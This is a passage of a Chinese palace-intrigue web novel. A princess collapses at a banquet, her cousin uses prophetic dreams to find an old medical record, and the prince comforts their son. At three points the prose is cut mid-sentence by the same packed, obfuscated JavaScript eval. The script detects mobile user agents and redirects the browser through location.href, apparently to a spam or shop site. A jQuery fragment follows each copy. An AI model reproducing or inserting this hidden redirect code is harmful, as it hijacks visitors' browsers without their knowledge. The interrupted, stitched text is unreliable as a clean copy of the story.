魏姝心里冷笑一声,正要再去看殿外的比试,谁知冉嬷嬷拆只螃蟹的功夫,外头的比试竟然已经有了结果。 有宫人在殿外大声道:“中了!中了!” “嘉王两箭齐发,两片柳叶都射中了!洪大人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058050|194915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 差点儿也射中了!” 因为柳树离得远,柳叶更是细小,殿内众人只能看见谢兰臣两人射箭,却看不清中没中,便有宫人守在外头,随时向殿内汇报比试结果。 魏姝再向外看时,便见先时还趾高气昂的洪廷,正失魂落魄地走进殿内,扑通一声跪在地上道:“臣技艺不精,输了比试,还请皇上降罪。” 他一直引以为傲的箭术,在谢兰臣故意让自己一箭的情况下,还是输了,输得彻彻底底。 他只能“差点儿”射中柳叶,谢兰臣却可以两箭齐发,两箭同时命中,他还哪里有脸称什么小养由基? 若是谢闵知道洪廷此刻所想,一定会再对他落井下石,告诉他谢兰臣不但能够射中百步外的柳叶,连比柳叶更细的绒线绳,他依然能百发百中。一般人站在百步外,可是连绒线绳的影儿都看不见的。 元和帝本想借比试,以彰显大安武力,趁机杀杀西北的威风,哪成想反打了自己嘴巴。 洪廷是他们大安最好的神箭手,却如此轻易输给了谢兰臣,谢兰臣瞧着有些弱气尚且如此,其他西北军岂不更加厉害? 元和帝对西北的忌惮不由更加一层。 他心中着实懊恼不悦,面上却安慰洪廷道:“人都有偶然失手的时候,本就是切磋,输赢都属正常,没什么好怪罪的。” 洪廷张了张嘴,想说自己是真的实力不济,不是偶然失手,但他也清楚,皇上是为了大安的颜面才如此找补的,最后他到底什么也没说,只惭愧地低下了头。 元和帝又转向谢兰臣,明知故问道:“现是嘉王赢了,想要什么彩头?” 便是谢兰臣真要讨魏姝,他也已想好了拒绝的理由。 然而,谢兰臣却出乎所有人意料地答道:“臣想要四箱金。” 但凡知道靺鞨王子昨晚受伤内情的,此时面上都露出了一丝错愕。 更有文宁公主,直接忍不住扑哧一声笑了出来。 即便才在魏姝手里吃过亏,她还是没忍住,借着更衣的由头,故意饶到魏姝身后,小声道:“我还以为嘉王是要向父皇讨妹妹你呢,现下看来,在嘉王心里,妹妹还抵不上四箱金子金贵呢!” 魏姝胸口闷闷地难受,她本不想理会文宁,但很快她又觉得自己喘不上气了,眼前阵阵发黑,耳朵里也尽是嗡鸣,甚至想说话,都发不出声音。 文宁终于后知后觉地发现魏姝的异常,第一反应却觉得魏姝是装的,立刻撇清关系道:“你别想装晕陷害我,我说的都是事实,并没有说什么过分的……” 她话还没说完,魏姝便突然向后倒去,文宁下意识一把接住,触手处,隔着衣服便感觉到了魏姝滚烫的体温,像是要把人烧化了一般,她顿时吓得尖叫一声:“崇宁……崇宁她不行了!” 19. 不高兴 魏姝倒在文宁公主怀里后,很快便失去了意识。 今日随魏姝一起进宫赴宴的恰好是张公公,张公公正在不远处听候,忽听见文宁公主的喊声,人愣了一下,立刻便赶上前。待看清魏姝此刻的症状,不由失声道:“公主周岁宴上被刑克发病,也是这般莫名高热,突然昏厥!” 魏姝才刚出生时,张公公便照顾在她身边,对魏姝周岁宴上的情形,记得极清楚。 今日席上也有参加过魏姝周岁宴的人,被张公公这么一提醒,不由也回想起当年的情形。眼下由于离得远,虽然看不大清崇宁公主此刻的症状,但听张公公描述,确实和公主周岁宴上的那场大病极像。 知情人不由纷纷朝上首觑去——当时刑克崇宁公主的人可就是郭皇后。 察觉到那些似有若无的视线,元和帝当即沉了脸,呵斥张公公道:“胡说!什么刑克不刑克的,都是李闲云那个妖道故意编出来哄人的,这一年多来,崇宁不知和郭皇后在宫里见过多少面,一直都好好的,怎么偏今天被克了?依朕看,不过是突发了急症。” 说罢,元和帝便令宫人们速去请太医。 李闲云是不是骗人张公公不知道,他只知道,魏姝小时候,两次在宫宴上遇到郭皇后,两次都发病,之后郭皇后不再参加宫宴,公主就再没发病过。这绝对不止是巧合。 张公公硬着头皮又说道:“恳请皇上传召庄太医来,公主前两次发这样的急症,都是庄太医医好的。” 元和帝面上越发不悦,郭皇后知道元和帝是为维护自己,安慰地握住他的手,对张公公道:“庄太医前些时日已经致仕,如今回老家安享晚年去了,不过我看魏姝确实不大好,找人去看看太医院现下都有哪些太医当值,全都请来吧。” 一旁的宫人见元和帝没有反对,立刻便小跑去了太医院传话。 魏婧隔着七八个坐席,有些错愕地看着眼前的这一切。 明明她已经让母后换掉了那件熏香的衣服,为什么魏姝还是发病了? 她也是通过昨晚的梦境才知道,魏姝闻不得母后的那盒海外香。偏母后因为喜欢那种香,每次遇到大型宫宴这样的场合,便会特意用来熏衣裳,这便是魏姝小时候,和母亲同在宫宴上出现便会发病的原因。 某种意义上来说,那个李道长掐算得也不错,母后确实克魏姝。 在梦里的这场宫宴上,母后穿着熏香的衣裳出席,魏姝因为坐席和母后靠得太近,中途发病,偏巧能医治魏姝的庄太医已经致仕,而当年记录了救治过程的医案,又因年代久远,太医院的卷宗存放杂乱,一时难以翻找出来,魏姝最终没等到医案,人便不行了。 魏婧是打算在今天保住堂姐的。 自己救堂姐一命,换她代自己嫁给嘉王。虽然嘉王府的生活可能不如人意,但至少自己救了她一命,即便她也像自己一样活不过两年,至少多出来的两年已经是她赚来的了,堂姐也不算吃亏。 除此之外,魏婧决定救堂姐,还因为梦里堂姐去世后,母后刑克堂姐的事会再次被人提起。 有人趁机以母后违背先帝当年的口谕——“不许参加宫宴,不许靠近魏姝”——以致克死先皇唯一的子息为由,逼迫父皇废后。 最后虽没得逞,但流言到底传了出去。更有人发散说,堂姐是因为发现了先皇的死有猫腻,才被父皇母后联手毒害的。 更巧的是,堂姐死后,护国寺后山的桃花,忽然一夜之间全部枯死。天生异象,坊间百姓便更加认定堂姐死的冤枉。 以至于之后的数年间,但凡大安疆域内出现什么天灾人祸,都会有人说是因为帝王无德才天降惩罚的。就连某个地方的山匪造反,扯的都是为先皇和崇宁公主复仇的大旗…… 总之魏姝这一死,贻害无穷。 至少,魏姝不能死在今天的这场宫宴上。 可魏婧实在想不通,为什么自己故意弄坏母后的衣裳,母后今日没再用那种海外香,魏姝还是出事了。 难道梦境出错了,让魏姝发病的不是那盒海外香? 就在魏婧自我怀疑时,目光偶然落在魏姝桌上装着蟹黄的小碗上,才恍然大悟。 是冉嬷嬷。 母后的衣裳是冉嬷嬷负责熏香的,整整一夜的熏染,冉嬷嬷身上难免也会沾染上香气,而她又在席上给魏姝送过螃蟹…… 魏婧一边懊悔自己思虑不周,竟忘了冉嬷嬷这茬,一边分神听见母后在吩咐冉嬷嬷,要冉嬷嬷把魏姝扶到偏殿去。 魏婧顿时顾不得礼仪,急忙上前,再次故技重施,装作不小心,把一碗汤打翻到冉嬷嬷身上,趁机从冉嬷嬷手里接过魏姝道:“嬷嬷衣服脏了,先去换了衣裳吧,我扶姐姐去偏殿。” 冉嬷嬷看了眼身上的污渍,无奈只得叫来其他宫人帮忙,自己先去更衣。 人群中,谢兰臣盯着魏姝和魏婧两人的背影,微微皱了皱眉。 碍于男女大防,他不能上前查看魏姝的情况,但却敏锐地留意到了席上的一些异常。 自打谢兰臣入席后,便发现平宁公主魏婧频繁望向魏姝,便是自己和洪廷比箭的时候,平宁公主的注意力也依然在魏姝身上。 甚至魏姝发病时,平宁公主更是震惊地打翻了自己的酒盏。她脸上对魏姝的担忧不似作假,但过分疑惑震惊的神情却显得与其他人格格不入。 而且,据谢兰臣所知,因为先皇厌恶郭皇后的原因,平宁公主和魏姝的关系很一般,这就越发显得平宁公主对魏姝的在意异常了…… * 崇宁公主突然出事,宫宴自然无法继续下去,但因为还不能确认公主昏厥是否为被人下毒,在场诸人一时还不能离开,需得接受盘查。 直到太医赶至偏殿,确认魏姝不是中毒,宫宴上的人才得以陆续离宫。 之后事情的发展,便如同魏婧梦境里的一样。 魏姝的急病太过凶险,庄太医不在,其他太医便都不敢下方,只说需要先去查庄太医当年的医案。 元和帝见魏姝的形容越发不好,心里也着急起来,狠狠叱骂了太医们一通,无奈太医们都怕担责,坚持只有先查阅庄太医的医案,才敢开药,元和帝气道:“既然如此,还不快去查医案!” 然而近二十年的医案,宫里贵人和宫人的又混在一起,满满一大屋子的卷宗,又岂是好查的? 即便元和帝派来了几十个识字的太监宫女一起查找,速度依然很慢。要查完整间屋子的卷宗,少说也要等到晚上,可魏姝却等不了那么久了。 魏婧又仔细回想了一遍梦境。 梦里,直到魏姝死后的一个多月,太医院的人才发现,有部分陈年医案混在了太医院记录药材的账簿里,而记录有魏姝幼年病情的那本医案,恰好就在其中。 魏婧怕耽误魏姝的病情,借口帮忙,便带上四个宫人,也去了太医院。 她找到太医,故意提示道:“存放医案和存放账簿的房间挨得这样近,会不会有医案不小心混进账簿里?要不也分些人手查查账簿吧?” 众太医却想也不想地拒绝道:“这些医案还不知道要翻到什么时候,哪里有功夫查那些账簿?崇宁公主等不得的。” 魏婧心下着急,正要再劝,却忽然听见身后有道声音道:“我帮公主一起找吧。” 魏婧闻声回头,发现竟然是谢兰臣。 谢兰臣解释道:“是皇上特许我来帮忙的。” 突然对上自己梦里的丈夫,魏婧一时心绪复杂,略定了定神,才问谢兰臣道:“王爷相信我的话?” 谢兰臣点点头:“我觉得公主方才说的很有道理,而且,他们那边的人手已经够多了,多我一个和少我一个并没什么影响。” 谢兰臣的眉眼和语气都很温和,极容易引起人的信任和好感。 魏婧确实需要人手帮忙,便没多想,和谢兰臣主仆俩、以及自己带来的宫人,一起在存放账簿的房间查找起来。 医案簿和账簿外表大小相似,但是封皮上有不同的字迹可以区分,几人倒是很快把混在账簿里的医案簿给捡了出来。 但是捡出的医案簿数量也不少,且需要一页页打开翻看,才能知道记录的是哪一年的谁。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058051|194915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 魏婧几人的速度明显慢了下来,但谢兰臣却一目十行,很快便能翻完一本,一个人的速度甚至比魏婧几人加起来都快。 时间一点点过去,集英殿来人都催了两趟,说魏姝的情况越来越不好了,可魏婧他们还没能找到那本医案。 每次集英殿来人催的时候,魏婧都会悄悄观察谢兰臣的表情,见他面上并无焦虑之色,看起来也不像是很在意魏姝的样子,和梦里谢兰臣对待自己也没什么差别,一时间心里也说不上是高兴还是不高兴…… 终于,在集英殿第三次来催的时候,谢兰臣举起手中的一本医案簿道:“我找到了。” 太医们急忙上前查看,欣喜道:“就是这本!” 上头记录了庄太医为魏姝诊治的全过程,所用的针法和药方虽有些刁钻,但几个太医合计后,觉得可行,便立刻开始为魏姝施针下药。 魏姝现在已经不是幼儿,施针的力度和用药的剂量,自然较之前有所不同。可等施过针喂了药,魏姝依然没有转醒的迹象。 一直如同慈母一般守在魏姝床前的郭皇后,急急质问太医道:“人怎么还不见醒?” 太医回说:“到底耽误了诊治的时间,眼下病情不再恶化便是好的,公主真正能不能醒,还要看明早。” 谢兰臣站在偏殿门口,远远地看了魏姝一眼,没再听郭皇后又和太医说了什么,便带上谢闵,和作为彩头的四箱金子,一起出了宫。 这时候,郭皇后比任何人都不希望魏姝死在宫里,有郭皇后在,魏婧在宫里养病很安全。 * 待回到会同馆,谢兰臣便差人把金子送去崇宁公主府,说道:“三箱是原欠公主的,多出的那箱是利息。” 谢闵看着四箱金子被抬走,终于忍不住问道:“王爷不是想和崇宁公主复婚吗?当时那么好的机会,为何不趁机讨要崇宁公主?” 即便皇上十有八九会拒绝,但因是先许诺过的,即便皇上不答应,后头也能有更多的说头。 谢兰臣却道:“好好的一个人,怎么能被当成彩头一样赐来赏去?我是要复婚,不是要讨一个姬妾。” 回答完谢闵,谢兰臣便要水沐浴。 谢闵打水的时候,还在琢磨谢兰臣刚才那句话的意思,又突然注意到谢兰臣的眼睛竟然红了,下意识便以为谢兰臣偷偷哭过,震惊之余,猜测谢兰臣十有八九是在为崇宁公主担忧难过。 谢闵跟在谢兰臣身边多年,还是头一次见他为什么事情红了眼,不由又是稀奇,又十分贴心地趁谢兰臣沐浴,提前准备好了香案香炉。 现在还没到谢兰臣往日休息的时辰,谢兰臣突然在这时候沐浴,肯定是要沐浴焚香,为崇宁公主诵经祈福了。 谢闵自以为是地准备好礼佛要用的东西,待谢兰臣沐浴完,看见门口摆着的香案,不由疑惑问道:“你这是要做什么?” 谢闵看了看谢兰臣比之前更红了的眼睛,表情比谢兰臣更疑惑:“王爷不是要为崇宁公主诵经祈福吗?” “我何时说要祈福了?”谢兰臣反问谢闵,“万物无常,有存当亡。我已经做了我该做的,剩下的不是我该操心的事,况且,诵经祈福如果真灵验,这世上便不会有死人了。” 谢兰臣见他一直盯着自己眼睛看,隐约猜到他误会了什么,扫了他一眼道:“我眼睛泛红是因为在宫里翻看了太多的医案簿,用眼过度,以及存放医案簿的地方久无人打理,到处都是灰尘碎屑的缘故,并不是你胡思乱想的那些原因。” 说到这里,他突然顿了一下,又道:“不过,我今天确实很不高兴。”自己看上的竹子,还没长好,突然便被人连根拔了。 谢兰臣不舒服地眨了眨眼,又对谢闵道:“你如果闲来无事,不如想法子帮我多留意平宁公主,另外,不是十分紧要的事,今晚便别来打扰我了。”说罢,便直接关上了房门。 谢闵在门外讪讪地应了一声,然而,半夜还是敲响了谢兰臣的房门。 门一开,谢闵立刻举起手里哭得双眼通红的孩子,问道:“你儿子哭着来找你,算要紧的事吗?” 20. 嫡子(补一千) 昭儿出生后,便一直和魏姝住在宫里,两人几乎时时刻刻都待在一起,就算偶尔魏姝有些应酬,需要暂时和他分开,也一定会赶在晚膳前结束。 然而这次,魏姝出门参加宫宴,眼看太阳落山,已经过了用晚饭的时辰,却久久不见回家。 魏姝不在,昭儿不肯用晚饭,叫人把他的木头小马搬到大门口,他一动不动地坐在上头等魏姝。 奶娘和织云好不容易哄着他吃下半碗饭,正要派人去打听宫宴上的情况,宫里却先来了人,对方直接当着昭儿的面,不管不顾地说了公主在宫里突发急症,以致昏迷不醒的事。 昭儿虽然语迟,人却早慧,把宫人的话囫囵听了个大概,知道魏姝得了重病,当即大哭不止,闹着立刻要进宫找魏姝。 织云和奶妈哪里敢让他去?先不说宫门马上就要落锁,这时候进不得,便是能进宫,公主正昏迷不醒,小郡王见了除了会更伤心外,并无益处。 可不能进宫,见不着魏姝,昭儿就一直哭,直把才吃的晚饭都哭吐了出来。 织云和奶娘安抚不住,心里又是急又是心疼,折腾到半夜,小郡王的嗓子都哭哑了,仍执拗地不肯停下,织云实在没法,只能哄小郡王道:“咱们去找嘉王,去找你爹爹,他今天也去了宫宴上,咱们去找他问问公主的情况,好不好?” 昭儿还记得谢兰臣在会同馆弄哭魏姝的事,还有些记仇,但他也没忘记娘亲曾说过,爹爹是和皇祖父一样的人,皇祖父从来对娘亲有求必应,爹爹应该也会答应自己,带自己去找娘亲的吧…… 闹了这么久,昭儿也知道织云和奶娘是不会带自己进宫的,便转而把希望寄托在了谢兰臣身上,于是便泪眼婆娑地答应了。 这才有了眼下,昭儿被举到谢兰臣面前的场景。 一大一小,两双红眼睛在门口正对上,谢兰臣脸上面无表情,昭儿则怯怯地朝他伸出双手,表示出想要他抱的意思。 跟随昭儿一起来的织云和奶娘,正站在不远处,悬着心看着眼前的这一幕。她们统共也没和嘉王见过几面,并不清楚嘉王的秉性,不知道嘉王喜不喜欢昭儿。 尤其是织云,见谢兰臣迟迟没有动作,更是懊悔自己不该因为着急就乱出主意,万一嘉王对小郡王有偏见,说出或做出什么对小郡王不好的事,她会后悔一辈子。 就在织云忍不住想把昭儿再抱回来的时候,谢兰臣终于动了,他不甚熟练地从谢闵怀里接过昭儿,还顺手给他擦了擦脸上的眼泪。 织云和奶娘见状,齐齐松了口气,急忙上前说明情况。 昭儿却一落进谢兰臣怀里,立刻便伸手指向会同馆大门口的方向,示意谢兰臣带自己去找娘。 谢兰臣却道:“很晚了,小孩子这时候应该在家睡觉。” 昭儿见他不肯带自己走,又开始委屈地掉眼泪,忽然又仰头讨好地朝他喊了一声“爹”,然后继续指向门外。 “嗯。”谢兰臣答应得很干脆,只是脚下依然一动不动,只吩咐人取些温水来。 昭儿意识到自己那声爹白喊了,顿时哭得更凶了。 他哭的时候,倒也不像别的孩子那样大喊大叫,只小声地抽噎,泪珠儿一颗连着一颗地往外滚,眼睛鼻头和脸颊都红红的,看起来可怜又可爱。 “要不要喝点水再哭?”谢兰臣把他抱进屋问道,“你眼睛里流了那么多的水,不多喝点儿水的话,一会儿再哭该没有眼泪了。” 昭儿把头扭到一旁,并不理谢兰臣。 谢兰臣顺着他的视线看过去,又说道:“看见门口那棵蔫答答的花儿了吗,它就是因为喝水太少,才变成那样的。” 他抱着昭儿面朝门口在桌前坐下,又把下人送来的温水放到他手边,说道:“不是我不想带你去找你母亲,你母亲今日在宫宴上多饮了几杯,醉倒了,今晚才不能回来。这时候宫门已经落锁,我们进不去皇宫,但是等明天天一亮,我可以带你去。 “所以,现在你有两个选择,一是继续哭,然后变得和门口的那棵花儿一样,等天亮了,我带你去找你母亲。另一个是,喝完水,吃点儿东西,再睡一觉,依然是等天亮了,我叫醒你,带你去找你母亲,你选哪个?” 昭儿一时被谢兰臣的话绕了进去,一时间竟然接受了“等天亮了再进宫找母亲”这个前提,然后对比第一个和第二个选择,自然是要选第二个的。 就在昭儿犹犹豫豫要伸出两根手指时,才猛然反应过来,谢兰臣刚才说的话和宫里来人说的不一样。 谢兰臣说娘亲是喝醉了,但传话的宫人却说,娘亲是快要病死了。 昭儿又把手指收回去,疑惑地看向谢兰臣。 谢兰臣猜到他在疑惑什么,便又说道:“你母亲不是生病,只是喝醉了,你都叫我爹了,我还会骗你不成?” 小孩子对大人的情绪很敏感,先前织云和奶娘在得知魏姝出事后,各自心里都惶恐担忧得不行,劝着劝着昭儿,自己都能哭出来,昭儿受她们情绪感染,自然更加惶恐,更想要找魏姝。 但此刻谢兰臣神色淡定泰然,看起来很稳重可靠的样子,他说出来的话,在昭儿听来也就更加可信。 昭儿最终犹犹豫豫地捧过杯子,开始喝水。 哭了这么久,他也确实渴了,直到把一大杯水全都喝完,这才停下。 “要不要再吃点儿东西?”谢兰臣又从织云手里接过几盘点心,摆在他面前。 因着昭儿晚上本没吃下多少东西,又全都吐了出了,为防饿着他,织云从公主府带来的有现成的点心,见他这会儿终于不哭了,急忙都端了上来。 为了能让他多吃点儿,织云还特意在点心上都薄薄地涂了一层崖蜜。 昭儿的肚子应景地咕噜噜叫起来。 谢兰臣拈起一块糕点,示意昭儿拿着吃,昭儿看了看自己沾满眼泪的小手,没有接,而是就着谢兰臣的手,小口小口吃了起来。 折腾这么久,小孩子早没了精力,半块儿糕点还没吃完,人便靠在谢兰臣身上睡了过去。 织云见状长舒了口气,想要上前抱走昭儿,然而昭儿却睡得不安稳,一碰他,他便哼哼唧唧地又要醒过来。 谢兰臣道:“今晚便让他和我一起睡吧。” 怕昭儿醒来还要再哭,织云也只好这样,并表示为了方便照看昭儿,晚上她想留在屋内的隔间里伺候。 谢兰臣却道:“我房间夜里从不留人。” 织云道:“那奴婢就守在屋外听候。”先不说谢兰臣之前可能从没照看过孩子,对织云来说,谢兰臣和一个陌生人也差不多,就这么把小郡王交给对方,她心里多少还是有些放心不下。 谢兰臣这次没再拒绝,待昭儿睡得更安稳了一些,便把他抱上床,自己也在一旁和衣睡下。 身边突然多出一个小孩子,谢兰臣很不习惯,便故意把昭儿往床内放了放,让他离自己远一点,然而下一刻,昭儿自己又主动贴了过来。 谢兰臣正要推开他,忽然听见他在梦里抽噎了两声,一时心软,便任由他靠在自己怀里睡去。 然而没过多久,他便后悔了。 昭儿因为睡前喝了一大杯的水,半夜竟然尿床了,紧挨着他的谢兰臣便遭了秧。谢兰臣黑着脸起身时,罪魁祸首这时候却睡得正香。 谢兰臣想要唤人进来收拾,想了想,到底怕动静会吵醒他,最后只好自己换了身衣裳,又把昭儿剥了个精光,把他放到了房间里的矮榻上,让他继续睡。 只是这么一折腾,谢兰臣毫无睡意了。 他轻轻推开门,守在门外的织云立刻迎上前,谢兰臣轻声道:“进去照看他吧。”随后自己便去了一旁的耳房。 谢兰臣一进耳房,便看见了谢闵之前准备的香案和香炉,对方大约觉得准备都准备了,竟然没收下去,而是摆在了屋内挂着的金刚手菩萨画像前。 香案上摆着贡品,香炉里插着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058052|194915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三株已经燃尽了的香。 谢兰臣脚步顿了一下,最终还是走上前,重新点燃三炷香,插进了菩萨面前的香炉里。 耳房的窗户没关,细细的香烟飘飘绕绕,随夜风一起荡出窗外。 * 今夜难眠的人不止谢兰臣一个。 皇宫中,郭皇后还守在魏姝的床前。 魏婧走进屋内,劝郭皇后道:“夜已深了,母后且先去休息一会儿,我来替母后守在这里。” 郭皇后却摇摇头道:“不亲眼看见崇宁醒来,我哪里睡得着?”既然要做“慈母”,自然该衣不解带地照顾魏姝直到她醒来,若魏姝恰好在自己休息的时候清醒,之前的守护可就白费了。 不过,虽不能去休息,和魏婧去隔间里说会儿话还是使得的。 留下冉嬷嬷继续照看魏姝,母女二人暂时移步隔间内。 郭皇后一进隔间就叹了口气,少有地对魏婧抱怨道:“李闲云那个妖道还说是我克了崇宁,我看是崇宁克我才对,每次我略有些得意的时候,崇宁总要给我当头一棒。” 魏姝周岁宴的时候,自己刚生下嫡子不久,又和夫君感情正浓,当时谁见了不羡慕她婚姻美满?然而魏姝一出事,她转瞬就从人人羡慕变成了人人笑话。 眼下这次也是,她入主中宫,头上又没有太后辖制,也算是这世上最风光的女人了,可魏姝突然在宫宴上晕倒,只需张太监喊一声是被自己克的,瞬间就又把自己打回了二十年前。 谁能相信,她都做了皇后,压制自己的不是她的婆母,而是她的侄女呢? 郭皇后想到这儿,自己都觉得自己活得可笑。若不是时机不对,她真想魏姝就这么死了才好。 郭皇后吐出一口浊气,又问魏婧:“说起来,还是多亏有你才救下崇宁,你和嘉王白天一起翻找医案,他可有对你另眼相看?” 魏婧摇头道:“嘉王全幅心神都在崇宁姐姐身上,对我并没有别的意思。” 郭皇后面露失望,又一次想若是没有魏姝就好了。 可偏偏先皇遗孤的身份,就是魏姝的保命符,郭皇后便是有心,也不敢真对她做什么。 魏婧隐约猜出些郭皇后的心思,趁机再次提议道:“等崇宁姐姐醒过来,母后不如就遂了她的心意,促成她和嘉王复婚,等她去了西北,母后至少也能眼不见为净。” 想到今日在宫宴上的难堪,郭皇后有一瞬间的心动,但还是拒绝道:“你父皇不会同意的,而且,西北这么大的权势,若不能为你皇兄所用,到底可惜。” 说到底,郭皇后心里更在意的还是自己儿子。 魏婧微微垂了眼,掩下心中的失落,突然说道:“西北也不一定就是谢兰臣的,老靖西侯还有一个嫡子,因为幼年丢失,最后谢家才是谢兰臣当家作主,但我听说,最近那个嫡子快要找到了。” 郭皇后不以为意道:“找到了又能怎样?谢兰臣已经是嘉王,他在西北经营多年,根基哪里是一个才被接回家的孩子能比的?” 魏婧道:“但我还听说,老侯爷去世前,好像留了什么密令,谢兰臣只是代管西北,若寻回嫡子,还是要嫡子当家的。有此密令,若再加上大安襄助,嫡子还是有一争之力的。” 郭皇后怀疑地看向魏婧“你打哪儿听来的这些?” 谢家丢失嫡子的事不是秘闻,魏婧会知道并不奇怪,可密令什么的,郭皇后尚不知晓,魏婧整日深居宫中,又是如何得知的? 魏婧自然是从梦里得知的。 但梦到未来这种事,她自己相信,旁人却只会觉得无稽,于是魏婧回道:“白天宫宴开始前,我偶尔路过一处假山旁,恰好听见两人正在议论此事,只是未曾看清说话的人是谁。” 郭皇后闻言,若有所思了半晌,表情慢慢慎重起来,最终说道:“此事暂且不要告诉别人,这里不是说话的好地方,稍后等我回到长春宫,你再仔细同我说说当时的情景。” 21. 放肆 魏姝再次睁开眼时,发现自己正躺在永乐宫的寝殿里,她略一偏头,便看到了守在自己床头的郭皇后。 郭皇后发觉魏姝醒来,几乎要喜极而泣:“我就知道你会没事的!” 冉嬷嬷立刻跟着说道:“公主晕倒后,皇后娘娘寸步不离地守在公主身边照顾,连晚饭都没顾得上吃,昨夜更是一整夜没敢合眼,现在公主醒了,娘娘终于能松口气了。” 一直守在隔壁的太医听到动静,也匆忙赶过来,要再次为魏姝诊脉。 郭皇后扶起魏姝,让她靠坐在床头,刚要拿过她的手腕,魏姝却突然抬手按住了自己心口。 她大病初愈,面色苍白脆弱,皱眉捂着心口的样子,简直像是又要晕过去。 郭皇后当即眼皮一跳,急忙招呼太医上前查看。 太医仔细诊过脉后,却回道:“公主的病已经好了大半,将养两日便没什么大碍了。” 郭皇后仍不放心:“那她方才怎么又心口疼?” 太医也有些奇怪,他的医术虽不如庄太医,但也算高超,依脉象上看,崇宁公主并不像是心肺有所不适的样子,但谨慎起见,还是询问魏姝道:“公主是怎么不舒服,可否详细描述?” 魏姝道:“刚醒过来时,倒不觉得有不适,方才皇婶靠过来,才又开始觉得胸闷发晕了。” 屋内众人闻言,瞬间都想到了郭皇后克魏姝的事。 老太医有些无措地立在当场,不知道这病自己还该不该再看下去。 冉嬷嬷先忍不住道:“皇后娘娘视公主为己出,对公主爱护有加,公主若是听信谗言,信了什么刑克不刑克的话,岂不是寒了娘娘的心? “再者说,皇后娘娘在公主身边守了一整晚,若真克公主,公主焉能平安醒来?” “皇婶对我有多好,我当然知晓。”魏姝看向郭皇后道,“晕倒的时候,恍惚间我好像看到了父皇,父皇嘱咐我务必离皇婶远一些,我还辩驳说皇婶待我很好,父皇又说,他让我远离皇婶,不是因为皇婶不好,而是我们两人命格不合的缘故。 “我原也不信,可皇婶刚才一靠近我,我果然开始心口发痛,这会儿离得远了些,心痛倒缓解不少。” 昨日魏姝刚晕倒时,尚有一丝意识,恰好听到了张公公当时的话。 先前两次发病,因为年岁太小,魏姝根本不记得。但昨天那种身体完全失去控制、胸口仿佛被压上重物不能呼吸的感受,魏姝现在回想起还有些后怕。 郭皇后还是裕王妃的时候,魏姝和她几乎没有任何交道,及至郭皇后入主中宫,魏姝又恰好守孝,期间不曾参加过任何宴会。仔细算来,除了幼时的那两次宫宴,昨天是魏姝和郭皇后共同出席的第三场宫宴。 魏姝并不信命格之说,可统共三场宫宴,她却场场发病,倒也不一定是郭皇后蓄意害她,但必然是有什么不妥之处。 索性魏姝便假托梦到父皇,趁机和郭皇后隔开,既杜绝了不妥,也省得看郭皇后在自己面前虚伪地扮演慈母了。 冉嬷嬷却还要再为郭皇后辩驳。 同样守了魏姝一夜的张公公,突然哭道:“先皇就公主这么一棵独苗,不管是真克假克,哪怕只是图个心里上的安慰,也请皇后娘娘以后避一避公主吧。” 张公公把话都说到了这个份上,郭皇后再坚持留下,就有故意迫害魏姝的嫌疑了。 尽管她已经看出魏姝的不适是装的,可谁让魏姝有个好父皇呢,真是死了也不让自己安生! 尤其是当着一屋子宫人和太医的面,自己竟被一个太监当面驱赶,郭皇后心里既愤怒又委屈,面上却还要装作不在意的样子,对魏姝道:“看到你醒过来,我就放心了,你且先好好养病,过几日我再来……差人来看你。” 郭皇后维持着最后的一丝体面,带着冉嬷嬷悻悻而去。 郭皇后一走,全程垂着头装聋作哑的太医,这才重新活过来,斟酌着重新为魏姝开了药方,张公公又伺候魏姝用过药和早膳,这才说起魏姝晕倒后发生的事。 张公公红着眼道:“要不是及时找到医案,公主说不定就……好在公主及时醒了,要是公主有个三长两短,老奴到了地下,怎么给先皇交代呢?不过公主放心,老奴已经把那医案给抄下来了,好生存放着,只盼再也用不着,但真到了要再用的时候,一定不会再让公主像昨天那般凶险的。” “张伴伴有心了。”魏姝宽慰张公公自己已无大碍,才劝动他下去歇息。 永乐宫里,魏姝的家私还没搬完,原先的宫人也还在,并不缺人照顾。 魏姝担心昭儿昨晚没见到自己,一个人在家还不知道怎么样,正要差人去趟公主府看看,可一抬眼,却瞧见平宁公主和文宁公主竟然领着昭儿走了进来。 “昭儿怎么来了?”魏姝既惊喜又怕被昭儿看出端倪。 昭儿却已经小步跑上前,努力踮起脚,委屈地扑在魏姝身上。 魏婧在昭儿身后说道:“听说姐姐醒了,特意来看看姐姐,路上先是遇到了文宁姐姐,随后又恰好遇到嘉王,嘉王有事要去勤政殿,我们便顺便把昭儿带来了。” 